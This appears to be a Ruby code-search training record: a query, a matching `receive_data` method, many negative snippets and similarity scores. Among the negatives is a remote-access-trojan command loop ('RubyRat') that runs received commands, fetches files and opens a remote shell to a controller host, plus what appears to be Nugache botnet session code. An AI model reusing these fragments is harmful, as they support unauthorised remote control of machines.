dataset[\"object\"][\"status\"][\"code\"])\n\n puts \"And I make the dataset private again\"\n dataset = @api.update_dataset(dataset, {'private'=> true})\n assert_equal(BigML::HTTP_ACCEPTED, dataset[\"code\"])\n\n end\n\n end",
"def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end",
"def reset_instance_dataset\n @instance_dataset = @dataset.limit(1).naked.skip_limit_check if @dataset\n end",
"def prepare_dataset\n @working_dataset.dataset.each { |tuple| @clustered_dataset[tuple] = -1 }\n end",
"def fallback_data; end",
"def fallback_data; end",
"def fail\n @failed = true\n end",
"def storage_failure; end",
"def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end",
"def missing_required(attr = 'name')\n fail MissingRequired, \"Cannot store data without a #{attr} attribute.\"\n end",
"def something_should_fail?\n @should_fail\n end",
"def failures=(_arg0); end",
"def failures=(_arg0); end",
"def at_least_one_metric\n unless self.repetitions || self.weight || self.rounds || self.distance || self.description\n self.errors[:base] << \"A description must be entered if you don't fill in a metric\"\n end\n end",
"def underlying_exception=(_arg0); end",
"def failWithDataTest message, data = {}\n rescue_assertion /#{FAILING}/, message do\n fail message, data\n end\n end",
"def example_failed(_)\n end",
"def continued_exception; end",
"def orig_dataset\n @opts[:orig_dataset]\n end",
"def wrapped_exception; end",
"def fail\n # no-op\n end",
"def initialize\n @broken = false\n end",
"def error?; end",
"def error?; end",
"def error?; end",
"def dataset_path\n @dataset_path ||= filename\n end",
"def failure\n end",
"def expects_exception?; self.class.expects_exception; end",
"def populate\n old_logger = ActiveRecord::Base.logger\n ActiveRecord::Base.logger = nil\n\n begin\n write_data\n \n rc = true\n rescue StandardError => e\n self.errors[:base] << e.message\n rc = false\n ensure\n ActiveRecord::Base.logger = old_logger \n end\n\n return rc\n end",
"def _delete_dataset\n this\n end",
"def _delete_dataset\n this\n end",
"def dataset\n self\n end",
"def dataset\n self\n end",
"def dataset\n self\n end",
"def dataset_method\n :\"#{self[:name]}_dataset\"\n end",
"def data(_value=nil, _repair=false)\n raise NotImplementedError.new\n end",
"def faulty(aReason)\n @failure_reason = aReason\n end",
"def exceptions; end",
"def dataset\n @dataset_class.new(self)\n end",
"def dataset\n @@dataset\n end",
"def _metadata_dataset\n super.\n with_identifier_input_method(identifier_input_method_default).\n with_identifier_output_method(identifier_output_method_default)\n end",
"def failure\n super\n end",
"def is_exception?; end",
"def dataset?\n true\n end",
"def populate\n old_logger = ActiveRecord::Base.logger\n ActiveRecord::Base.logger = nil\n\n begin\n write_data\n \n rc = true\n rescue StandardError => e\n errors[:base] << e.message\n rc = false\n ensure\n ActiveRecord::Base.logger = old_logger \n end\n\n return rc\n end",
"def populate\n old_logger = ActiveRecord::Base.logger\n ActiveRecord::Base.logger = nil\n\n begin\n write_data\n \n rc = true\n rescue StandardError => e\n errors[:base] << e.message\n rc = false\n ensure\n ActiveRecord::Base.logger = old_logger \n end\n\n return rc\n end",
"def set_msg_or_attribute(attribute, data)\n\n #Store 'Data Unavailable Message' as variable. Each method below checks for a nil return and sets message if found.\n unavailable_msg = \"Data Not Currently Available\"\n\n #if data is nil and assessing a health message attribute, concatinate \"Health Message\" to unavailable msg\n if data.nil? && attribute.include?(\"health_msg\")\n self.city.send(\"#{attribute}=\", \"Health Message: \".concat(unavailable_msg))\n\n #Else if data is nil and not part of Health Message attribute, set unavailable message to attribute\n elsif data.nil?\n self.city.send(\"#{attribute}=\", unavailable_msg)\n\n #Else data is available, set to attribute\n else\n self.city.send(\"#{attribute}=\", data.text.strip)\n end\n end",
"def custom_failure!\n @custom_failure = true\n end"
] |
[
"0.5801379",
"0.5743024",
"0.56941056",
"0.5693356",
"0.5583441",
"0.5548888",
"0.54872",
"0.54348046",
"0.5422414",
"0.5401371",
"0.53979397",
"0.53026915",
"0.52927595",
"0.5267012",
"0.52616936",
"0.5219041",
"0.5165917",
"0.5165917",
"0.51614594",
"0.51614594",
"0.51614594",
"0.51580876",
"0.51557124",
"0.5154577",
"0.51421356",
"0.51421356",
"0.5141262",
"0.5129369",
"0.5086372",
"0.507973",
"0.5066664",
"0.5054952",
"0.5048435",
"0.5040421",
"0.5032085",
"0.5018983",
"0.5018983",
"0.5018983",
"0.5018983",
"0.5018983",
"0.5018983",
"0.5018983",
"0.501214",
"0.49990326",
"0.49990326",
"0.49990326",
"0.49990326",
"0.49990326",
"0.4987766",
"0.4987766",
"0.49770403",
"0.4973458",
"0.49621862",
"0.4959647",
"0.49537435",
"0.49479157",
"0.4939115",
"0.49353743",
"0.49353743",
"0.4934245",
"0.49301136",
"0.49271774",
"0.49196935",
"0.49103296",
"0.49077633",
"0.49077633",
"0.49034598",
"0.49028674",
"0.49006885",
"0.48994094",
"0.4899366",
"0.48985514",
"0.48748663",
"0.48711473",
"0.48611093",
"0.48467565",
"0.48467565",
"0.48467565",
"0.48381326",
"0.48321024",
"0.4831921",
"0.48315632",
"0.48283002",
"0.48283002",
"0.48272195",
"0.48272195",
"0.48272195",
"0.48257026",
"0.48203278",
"0.48072726",
"0.48068273",
"0.48025903",
"0.4802079",
"0.4802071",
"0.47999167",
"0.47997576",
"0.47916317",
"0.47802305",
"0.47802305",
"0.47747093",
"0.4765498"
] |
0.0
|
-1
|
TODO: add data to buffer, and flush buffer, so when control conn goes down we keep everything in buffer, and flush when it comes up
|
def receive_data(data)
@client.send_command(SendDataCommand.new(@connection_id, data))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def flush_buffer; self.input_buffer = \"AAAA\"; end",
"def connection_completed\n# @keepalive = EM::PeriodicTimer.new(60) { send_data ' ' }\n start\n end",
"def receive_data(data)\n log_debug { '[server] receive_data: %s' % data }\n\n @request_buffer << data\n @request_data = @request_buffer.data\n @stats.request_size = @request_buffer.size\n\n handle_client if @request_buffer.flushed?\n end",
"def receive_data(data)\n log_debug '[server] receive_data: %s' % data\n @buffer << data\n handle_client if @buffer.flushed?\n end",
"def send_pending_data\n needs_looping = true\n while needs_looping\n needs_looping = false\n pending_data.delete_if do |socket, chunks|\n if chunks.empty?\n # nothing left to send for this socket\n next\n end\n\n buffer = chunks.shift\n while !chunks.empty? && (buffer.size + chunks[0].size < DATA_CHUNK_SIZE)\n buffer.concat(chunks.shift)\n end\n Server.debug \"sending #{buffer.size} bytes to #{socket}\"\n\n begin\n written = socket.write_nonblock(buffer)\n rescue Interrupt\n raise\n rescue Errno::EAGAIN\n Server.debug \"cannot send: send buffer full\"\n chunks.unshift(buffer)\n next\n rescue Exception => e\n Server.warn \"disconnecting from #{socket}: #{e.message}\"\n e.backtrace.each do |line|\n Server.warn \" #{line}\"\n end\n socket.close\n next(true)\n end\n\n remaining = buffer.size - written\n if remaining == 0\n Server.debug \"wrote complete chunk of #{written} bytes to #{socket}\"\n # Loop if we wrote the complete chunk and there\n # is still stuff to write for this socket\n needs_looping = !chunks.empty?\n else\n Server.debug \"wrote partial chunk #{written} bytes instead of #{buffer.size} bytes to #{socket}\"\n chunks.unshift(buffer[written, remaining])\n end\n false\n end\n end\n end",
"def flush() end",
"def flush() end",
"def flush() end",
"def receive_data data\n (@buffer||='') << data\n\n while index = @buffer.index(Cdelimiter)\n begin\n line = @buffer.slice!(0,index+2)\n process_cmd line\n rescue ParserError\n @buffer[0...0] = line\n break\n end\n end\n end",
"def write(data)\n begin\n @socket.sync = false\n if data.nil?\n write_timeout([0, 0, @seq].pack(\"CvC\"), @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n else\n data = StringIO.new data if data.is_a? String\n while d = data.read(MAX_PACKET_LENGTH)\n write_timeout([d.length%256, d.length/256, @seq].pack(\"CvC\")+d, @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n end\n end\n @socket.sync = true\n @socket.flush\n rescue Errno::EPIPE\n @socket.close rescue nil\n raise ClientError::ServerGoneError, 'MySQL server has gone away'\n rescue Errno::ETIMEDOUT\n raise ClientError, \"write timeout\"\n end\n end",
"def process_data\n unless @state.include?(:rcpt)\n send_data \"503 Operation sequence error\\r\\n\"\n else\n succeeded = proc {\n send_data \"354 Send it\\r\\n\"\n @state << :data\n @databuffer = []\n }\n failed = proc {\n send_data \"550 Operation failed\\r\\n\"\n }\n\n d = receive_data_command\n\n if d.respond_to?(:callback)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n end\n end",
"def flush\n @socket&.flush\n end",
"def write(data)\n @mutex.synchronize { @buffer = @buffer.dup.concat(data) }\n pump_buffer\n Reactor.selector.wakeup unless monitor.interests == :r\n end",
"def flush_buffer\n if @timer\n @timer.cancel\n @timer = nil\n end\n unless @buffer.empty?\n internal_send_request('append_output', :text => @buffer)\n @buffer = ''\n end\n end",
"def flush\n out = @buffer\n @buffer = ''\n out\n end",
"def receive_data data\n @connection_attempts = 0\n @buffer.extract(data).each do |packet|\n response = JSON.parse(packet)\n log.debug { d = response['result'].inspect\n \"response: #{response['method']} #{d[0...50]}#{d.size > 50 ? '...' : ''}\" }\n if cb = @requests[response['id']]\n cb.call(response['result'])\n else\n callback(:response, response['method'], response['result'])\n callback(response['method'].to_sym, response['result'])\n end\n end\n end",
"def client_loop(conn)\n\n # Old failed crypto comms, will re-implement later\n #f = File.read('/tmp/rratkey.dat').split(\"\\n\")\n #@key = f[0]\n #puts \"Key: #{@key}\"\n #@iv = f[1]\n #puts \"IV: #{@iv}\"\n\n while true\n results = ''\n # Recieve and decrypt AES encrypted message\n #data = AES.decrypt(conn.read(64).gsub!(\"0\", ''), @key)\n data = conn.read(64).gsub!('0', '')\n puts data\n cmd, action = data.split ' ' # Split data into command and action\n\n # Parse the command\n case cmd\n when 'kill'\n conn.close\n exit 0\n when 'quit'\n conn.shutdown(:WRDR)\n conn.close\n break\n when 'scan'\n results = RubyRat::Tools.scan_single_host(action)\n when 'sysinfo'\n results = RubyRat::Tools.sysinfo\n when 'pwd'\n results = RubyRat::Tools.pwd\n when 'wget'\n results = RubyRat::Tools.wget(action)\n when 'getpid'\n results = \"Current process: #{RubyRat::Tools.pid}\"\n when 'ifconfig'\n results = RubyRat::Tools.ifconfig(@platform)\n when 'execute'\n results = RubyRat::Tools.execute(data.gsub('execute ', ''))\n when 'ls'\n results = RubyRat::Tools.ls\n when 'shell'\n RubyRat::Tools.shell(HOST, action)\n end\n\n # TODO add more stuff\n #end\n results << \"\\n#{cmd} completed.\"\n puts results if ARGV.include? 'DEBUG'\n conn.puts results.length\n conn.write(results)\n end\nend",
"def process_client(client, buffer); end",
"def write_and_schedule sock\n outbound_data.each_with_index do |t_data,index|\n leftover = write_once(t_data,sock)\n if leftover.empty?\n outbound_data.delete_at(index)\n else\n outbound_data[index] = leftover\n reactor.schedule_write(sock)\n break\n end\n end\n reactor.cancel_write(sock) if outbound_data.empty?\n end",
"def buffered_messages; end",
"def flush_next_out\n\t\t\t@out_pos = @output_buffer.length\n\t\t\t@finished = true\n\t\t\tret = @output_buffer.pack(\"c*\")\n\t\t\t@output_buffer = []\n\t\t\tret\n\t\tend",
"def flush\n @socket.flush if @socket\n end",
"def flush_next_out\n\t\t@out_pos = @output_buffer.length\n\t\t@finished = true\n\t\tret = @output_buffer.pack(\"c*\")\n\t\t@output_buffer = []\n\t\tret\n\tend",
"def write_buffer(buf)\n while not buf.empty?\n count = @sock.write(buf)\n buf = buf[count..-1]\n end\n end",
"def receive_data(data)\n (@buffer ||= '') << data\n while index = @buffer.index(DELIM)\n begin\n line = @buffer.slice!(0, index+2)\n process_cmd line\n rescue ParserError\n @buffer[0...0] = line\n break\n end\n end\n end",
"def flush\n @sendbuf_lock.synchronize {\n while @sendbuf.size > 0\n send_data(@sendbuf[0..@block_size-1])\n @sendbuf = @sendbuf[@block_size..-1].to_s\n end\n }\n end",
"def receive_data(data)\n buffer.concat(data)\n end",
"def buffer; end",
"def buffer; end",
"def buffer; end",
"def connection_ended\n end",
"def connection_ended\n end",
"def blocking_write( data )\r\n raise RuntimeError, \"CONN_UDP: blocking_write: Not connected!\" unless connected?\r\n begin\r\n @sock.send(data, 0)\r\n rescue\r\n destroy_connection\r\n raise RuntimeError, \"CONN_UDP: blocking_write: Couldn't write to socket! (#{$!})\"\r\n end\r\n end",
"def send_data_packet( data )\n # overhead is ( byte.length + id.length + strlen.length ) = 9\n data, data_to_return = split_data_for_packet( data.to_s, 9 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_DATA\n msg.write_long @remote_id\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end",
"def receive_data(buf)\n @framer << buf\n while @framer.complete?\n num, packet = @framer.next_buffer\n receive_packet(num, packet)\n end\n end",
"def blocking_write( data )\n raise RuntimeError, \"RAWIP: blocking_write: Not connected!\" unless connected?\n begin\n @ssock.send(data, 0, @addr)\n rescue\n destroy_connection\n raise RuntimeError, \"RAWIP: blocking_write: Couldn't write to socket! (#{$!})\"\n end\n end",
"def receive_data(data)\n data.each_char do |char|\n if char == @end_seq[ @end_i ]\n if @end_i == @end_seq.size-1\n @minerd.send_detach\n EM.stop\n return\n end\n\n @end_i += 1\n\n if @end_i == 1\n @private_buffer += char\n\n else\n @buffer += char\n end\n\n elsif char == @end_seq.first\n @private_buffer += char\n\n else\n @end_i = 0\n\n unless @private_buffer.empty?\n @buffer += @private_buffer\n @private_buffer.clear\n end\n\n @buffer += char\n end\n end\n\n @minerd.send_write(@buffer)\n @buffer.clear\n end",
"def receive_data data\n #puts \"receive data #{data.dump} |(#{data.length})\"\n if data.length == 0\n close\n end\n @response_data += data\n remaining_unhandled_data = handle_data @response_data\n @response_data = remaining_unhandled_data\n end",
"def send_eof\n msg = @buffers.writer\n msg.write_byte CHANNEL_EOF\n msg.write_long @remote_id\n @connection.send_message msg\n self\n end",
"def process client\n data = client.read\n command, position, value = data.split\n case command.upcase\n when 'SET'\n puts \"SET request from #{position} (#{client.local_address.ip_port})\"\n @storage[position] = value\n when 'REBOOT'\n angle = [75, 275].sample\n client.write(\"#{angle}\")\n when 'GET'\n puts \"GET request from #{position} (#{client.local_address.ip_port})\"\n client.write(\"#{@storage[position]}\")\n when 'CLOSE'\n puts \"CLOSE all connections\"\n exit\n end\n client.close\n end",
"def post_init\n log_debug '[client-cnxn] Post init, new read buffer created'\n @buffer = Protobuf::Rpc::Buffer.new :read\n rescue\n fail(:RPC_ERROR, 'Connection error: %s' % $!.message) unless failed?\n end",
"def receive_data(msg) \n msg.split(\"\\n\").each do |row|\n begin\n msg_split = row.split(\" \")\n command = msg_split[0]\n\n return unless command\n case\n when command.match(/available/i)\n EM.defer { send_data \"#{JSON(@redis.datapoints)}\\n\" }\n when command.match(/values/i)\n EM.defer do\n command, metric, begin_time, end_time = msg_split\n datapoints, interval = [], 0\n\n if metric.match(/^gauge/)\n datapoints = @diskstore.read(metric, begin_time, end_time)\n else\n Batsd::Server.config[:retentions].each_with_index do |retention, index|\n if (index != Batsd::Server.config[:retentions].count - 1) && (Time.now.to_i - (retention[0] * retention[1]) > begin_time.to_i)\n next\n end\n interval = retention[0]\n\n if index.zero?\n datapoints = @redis.values_from_zset(metric, begin_time, end_time)\n break\n else\n datapoints = @diskstore.read(\"#{metric}:#{retention[0]}\", begin_time, end_time)\n break\n end\n end\n end\n send_data \"#{JSON({'interval' => interval, \"#{metric}\" => datapoints})}\\n\"\n end\n when command.match(/ping/i)\n send_data \"PONG\\n\"\n when command.match(/quit|exit/i)\n send_data \"BYE\\n\"\n close_connection\n else\n send_data \"#{JSON({error: \"Unrecognized command #{command}\"})}\\n\"\n end\n rescue Exception => e\n puts e if ENV[\"VERBOSE\"]\n rescue\n puts \"Uncaught Error\"\n end\n end\n end",
"def xmit\n if @lag.zero?\n if @to_server\n $fake_server_port.on_packet_receive(CONNECTION_ID, @data, @channel)\n else\n $fake_client_conn.on_packet(@data, @channel)\n end\n true\n else\n @lag -= 1\n false\n end\n end",
"def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def flush\n return @transport.flush unless @write\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def receive_data(data)\n @buffer << data\n end",
"def flush\n @handle.flush\n end",
"def run\r\n while true do\r\n begin\r\n msg = $stdin.gets\r\n if msg.to_s.include? \"exit\"\r\n break\r\n else\r\n set_socket() #must do it in every run\r\n send_data(msg)\r\n com = msg.to_s.split\r\n if (com[0] == \"add\" or com[0] == \"set\" or com[0] == \"cas\" or com[0] == \"append\" or com[0] == \"prepend\") #must send value\r\n value = read_msg(com[4].to_i) #com[4] -> size of the value to read\r\n send_data(value)\r\n end\r\n retrieve_data()#prints data\r\n #while next_line_readable?(@socket)\r\n # puts @socket.gets.chop #puts every line that the socket sends as response\r\n #end\r\n end\r\n rescue => exception\r\n puts exception.message\r\n puts \"A server failure has been encountered\"\r\n puts \"Closing...\"\r\n sleep(2)\r\n break\r\n end\r\n end\r\n end",
"def local_flush\n end",
"def initialize_buffered_io; end",
"def flush; end",
"def flush; end",
"def flush; end",
"def flush; end",
"def flush; end",
"def flush_buffer\r\n data = @buffer.clone\r\n clear_buffer\r\n @uploader.queue(data) \r\n end",
"def inner_loop\n return if @stop\n\n data = @socket.readpartial 4096\n driver.parse data unless data.nil? or data.empty?\n end",
"def proxy_receive_data data\n @proxystatus = :headers if !@proxystatus\n \n if @proxystatus == :headers\n # First gather the headers\n @proxybuffer += data\n if @proxybuffer =~ /\\r\\n\\r\\n/\n\n # Detected end of headers\n header_data = @proxybuffer[0...($~.begin(0))]\n @proxybuffer = @proxybuffer[($~.end(0))..-1]\n\n # Try the webrick parser\n headers = {}\n header_lines = header_data.split(/[\\r\\n]+/)\n status = header_lines[0]\n header_lines[1..-1].each do |line|\n h = line.split(/:\\s*/, 2)\n headers[h[0]] = h[1]\n end\n \n # The rest of the incoming connection \n @proxystatus = :stream\n end\n end\n \n if @proxystatus == :stream\n send_data header_lines[0] + \"\\r\\n\"\n send_data \"Content-Type: \" + headers['Content-Type'] + \"\\r\\n\"\n send_data \"Content-Length: \" + headers['Content-Length'] + \"\\r\\n\"\n send_data \"\\r\\n\"\n send_data @proxybuffer\n\n # Any further data is piped through \n EM::enable_proxy proxy_conn, self, 1024*10\n end\n end",
"def receive_data data\n\n # First we get all the headers in to find out which resource\n # we are looking for.\n\n if @status == :header\n @buffer += data\n\n if @buffer =~ /\\r\\n\\r\\n/\n\n # Detected end of headers\n header_data = @buffer[0...($~.begin(0))]\n\n @web_config = WEBrick::Config::HTTP.clone\n @web_config[:HTTPVersion] = WEBrick::HTTPVersion.new(\"1.0\")\n\n # Try the webrick parser\n @req = WEBrick::HTTPRequest.new(@web_config)\n @res = WEBrick::HTTPResponse.new(@web_config)\n\n StringIO.open(header_data, 'rb') do |socket|\n @req.parse(socket)\n end\n\n # The rest of the incoming connection\n @buffer = @buffer[($~.end(0))..-1]\n\n # Compute the ID of the sought resource\n if @req.path =~ /\\/adhd\\/(.*)/\n @req.header[\"Filename\"] = $1\n @req.header[\"ID\"] = MD5.new($1).to_s\n else\n # TODO: return a 404 here\n send_error 404, \"Not Found\", \"The URL does not seem to contain /adhd/filename\"\n # raise \"Remember to have a url of the form /adhd/<filenname>.\"\n end\n\n # Change the status once headers are found\n @status = :find_node\n else\n # Avoid DoS via buffer filling\n close_connection if @buffer.length > 1000\n end\n end\n\n # Now we have the headers, but maybe not the full body, and we are looking\n # for the right node in our network to handle the call.\n if @status == :find_node\n # We want to tell the remote host to wait a bit\n # This would allow us to defer the execution of the calls to find\n # the right nodes, and extract the doc.\n\n # TODO: We need to push all the chit-chat with the remote servers to\n # A deferable object, or some other connection, not to block.\n # Right now we are blocking and it sucks.\n\n # Now get or write the document associated with this file\n\n if @req.request_method == \"GET\"\n\n @our_doc = @node_manager.srdb.get_doc_directly(@req.header[\"ID\"])\n\n # TODO: handle errors if file does not exist\n if @our_doc[:ok]\n @status == :get\n handle_get\n else\n send_error 500, \"Internal Server Error\", @our_doc[:reason]\n end\n end\n\n if @req.request_method == \"PUT\"\n # Define a Doc with the data so far\n @our_doc = StoredFile.new\n\n @our_doc._id = @req.header[\"ID\"]\n @our_doc.internal_id = @req.header[\"ID\"]\n @our_doc.size_bytes = @req.content_length\n @our_doc.filename = @req.header[\"Filename\"]\n @our_doc.mime_type = @req.content_type\n\n # Write to the right node\n @our_doc = @node_manager.srdb.write_doc_directly(@our_doc)\n\n # TODO: if an error is returned here, we cannot execute the query\n if @our_doc[:ok]\n @status = :put\n handle_put\n else\n send_error 410, \"Conflict\", @our_doc[:reason]\n end\n end\n end\n end",
"def on_writable\n @being_written = nil\n return unless res = responses.first\n if res.finished?\n responses.shift\n if res.last \n FFI::connection_schedule_close(self) \n return\n end\n end \n write\n end",
"def flush_buffer\n # note we must discard cancelled timer or else we never create a new timer and stay cancelled.\n if @timer\n @timer.cancel\n @timer = nil\n end\n\n to_send = nil\n @mutex.synchronize do\n unless @buffer.empty?\n to_send = @buffer\n @buffer = ''\n end\n end\n\n if to_send\n internal_send_audit(:kind => :output, :text => to_send, :category => EventCategories::NONE)\n end\n end",
"def do_data( data )\n @log.debug \"[#{@id}] got #{data.length} bytes\" if @log.debug?\n\n @data << data\n @progress_callback[@data] if @progress_callback\n\n if @length < 0 || @data.length < @length\n if @length < 0\n length = @chunk_size\n else\n length = @length - @data.length\n length = length > @chunk_size ? @chunk_size : length\n end\n\n @log.debug \"[#{@id}] requesting #{length} more bytes\" if @log.debug?\n @driver.read @id, @handle, @offset + @data.length, length\n @session.register( @id, self )\n else\n @callback[ OK, @data ]\n end\n end",
"def _reconn_prep()\n close_socket()\n if @parameters\n change_host()\n end\n @st.kill if @st # Kill ticker thread if any\n @rt.kill if @rt # Kill ticker thread if any\n @socket = nil\n end",
"def flush\n if !@write\n return @transport.flush\n end\n\n out = [@wbuf.length].pack('N')\n out << @wbuf\n @transport.write(out)\n @transport.flush\n @wbuf = ''\n end",
"def close_buffer; end",
"def callbacks(conn)\n conn.server(:srv, {\n :host => @config[:server_host],\n :port => @config[:server_port]})\n conn.on_data do |data|\n # parse the raw binary message\n @flag = false\n # nil \n raw_msg, msg = WireMongo.receive(data)\n @recent = msg\n # nil \n # nil \n # nil \n nil \n user_name = \"Alice\"\n if abac(msg, user_name, \"127.0.0.1\")\n @flag = true\n end\n\n # nil \n # nil \n @log.info 'from client'\n @log.info msg\n\n if raw_msg == nil\n @log.info \"Client disconnected\"\n # nil \n return\n end\n\n @front_callbacks.each do |cb|\n msg = cb.call(conn, msg)\n break unless msg\n end\n next unless msg\n\n # get auth response about client query\n authed = (@config[:read_only] == true ? @auth.wire_auth(conn, msg) : true)\n r = nil\n\n if authed == true # auth succeeded\n @back_callbacks.each do |cb|\n msg = cb.call(conn, msg)\n break unless msg\n end\n next unless msg\n # nil \n r = WireMongo::write(msg)\n \n elsif authed.is_a?(Hash) # auth had a direct response\n response = WireMongo::write(authed)\n # nil \n conn.send_data(response)\n\n else # otherwise drop the message\n @log.info 'dropping message'\n\n end\n # nil \n r\n end\n\n # messages back from the server\n conn.on_response do |backend, resp|\n\n if @config[:verbose]\n _, msg = WireMongo::receive(resp)\n # nil \n # nil \n # nil \n @log.info 'from server'\n @log.info msg\n end\n _, msg = WireMongo::receive(resp)\n # if flag\n # nil \n if not @flag\n @flag = false\n msg[:responseFlags] = 2\n msg[:cursorId] = 0\n msg[:numberReturned] = 1\n msg[:documents] = [{\"$err\"=>\"UnauthorizedError: not authorized to execute command #{@recent[:header][:opCode]} on collection #{@recent[:collection]} of database #{@recent[:database]}\", \"code\"=>13}]\n resp = WireMongo::write(msg)\n end\n resp\n end\n\n conn.on_finish do |backend, name|\n @log.info \"closing client connection #{name}\"\n end\n end",
"def handle_server\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n if b1[16,32] == @aes_recv.key\n \t\t\t\t\treturn false unless b1[16,32] == @aes_recv.key\n \t\t\t\t\t@v = @aes_send.encrypt(\"1\\r\\n\")\n \t\t\t\t\tputs \"Session #{@id}: sending verify\" if @@debug\n \t\t\t\t\tsend_data @v\n \t\t\t\t\t@state = :recv_verify\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verify\" if @@debug\n if @data_buf.length >= 3\n b = @data_buf.slice!(0,3)\n \t\t\t\t\t# this isn't always true in the real Nugache traces, but without knowing the\n \t\t\t\t\t# underlying protocol, this is the best I can do\n if b == @v\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n \t\t\t\t\t@state = :connected\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n b = @data_buf\n @data_buf = \"\"\n @data_suf = false\n # TODO: how are we going to handle partial bundles of data?\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n \t\t\tend",
"def flusher_loop\n loop do\n # Blocks waiting for the flusher to be kicked...\n @flush_queue.pop\n\n should_bail = synchronize do\n @status != CONNECTED || @status == CONNECTING\n end\n return if should_bail\n\n # Skip in case nothing remains pending already.\n next if @pending_queue.empty?\n\n # FIXME: should limit how many commands to take at once\n # since producers could be adding as many as possible\n # until reaching the max pending queue size.\n cmds = []\n cmds << @pending_queue.pop until @pending_queue.empty?\n begin\n @io.write(cmds.join) unless cmds.empty?\n rescue => e\n synchronize do\n @last_err = e\n @err_cb.call(e) if @err_cb\n end\n\n process_op_error(e)\n return\n end if @io\n\n synchronize do\n @pending_size = 0\n end\n end\n end",
"def flush\n unless @buffer.empty?\n message = @buffer.to_a.join(\"\\n\")\n\n # Handle socket errors by just logging if we have a logger instantiated\n # We could eventually save the buffer state but that would require us to manage the buffer size etc.\n begin\n @logger.debug(\"Flushing metrics: #{message}\") unless @logger.nil?\n\n if [email protected]_key?(:dryrun) || !@config[:dryrun]\n transport_send(message)\n end\n rescue SocketError => ex\n @logger.debug(\"Statful: #{ex} on #{@config[:host]}:#{@config[:port]}\") unless @logger.nil?\n false\n ensure\n @buffer.clear\n end\n end\n end",
"def wait_connection; end",
"def wait_connection; end",
"def enqueue_from_server\n @writter = Thread.new do \n while @online\n begin\n if @socket.eof?\n @socket.close\n puts \"Server is down, please press quit\"\n break\n end\n msg = @socket.gets.chop\n if msg =~ /Advice from channel/ \n @advices << msg\n else\n msg = \"=> #{msg}\"\n @response << msg\n end\n rescue => e\n puts \"Error writter Thread #{e}\"\n end\n end\n end\n end",
"def send_raw(data)\n raise ::Pwnlib::Errors::EndOfTubeError if @conn.nil?\n\n data.gsub!(context.newline, \"\\r\\n\") if @convert_newlines\n begin\n @conn.write(data)\n rescue RubySerial::Error\n close\n raise ::Pwnlib::Errors::EndOfTubeError\n end\n end",
"def receive_data data\n begin\n # log 'receive_data', data\n @buf << data\n\n while frame = Frame.parse(@buf)\n log 'receive', frame\n process_frame frame\n end\n rescue Exception => e\n logger.exception(\"[amqp] Failed processing frame, closing connection\", e, :trace) unless ENV['IGNORE_AMQP_FAILURES']\n failed\n end\n end",
"def handle_client\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n \t\t\t\t\tputs \"Session #{@id}: receiving hello\" if @@debug\n if @data_buf.length >= 2\n b = @data_buf.slice!(0,2)\n unless b.unpack(\"n\")[0] == 0x0002\n close_connection \n @data_suf = false\n end\n @state = :recv_key\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_key\n \t\t\t\t\tputs \"Session #{@id}: receiving key\" if @@debug\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n \t\t\t\t\tiv = b1[0,16]\n \t\t\t\t\tkey = b1[16,32]\n \t\t\t\t\t@aes_send = AESStream.new(key,iv)\n \t\t\t\t\t@aes_recv = AESStream.new(key,iv)\n \t\t\t\t\tb1[0,16] = OpenSSL::Random.random_bytes 16\n \t\t\t\t\tb = @bot.rsakey.public_encrypt(b1)\n \t\t\t\t\tsend_data b\n \t\t\t\t\t@state = :recv_verify\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verification\" if @@debug\n if @data_buf.length >= 3\n \t\t\t\t\tb = @data_buf.slice!(0,3)\n \t\t\t\t\tout = @aes_recv.decrypt(b)\n \t\t\t\t\treturn false unless out == \"1\\r\\n\"\n \t\t\t\t\tputs \"Session #{@id}: repeating verification\" if @@debug\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n send_data b\n \t\t\t\t\t@state = :connected\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n \t\t\t\t\tb = @data_buf\n @data_buf = \"\"\n @data_suf = false\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n end",
"def enqueue_pending_output; end",
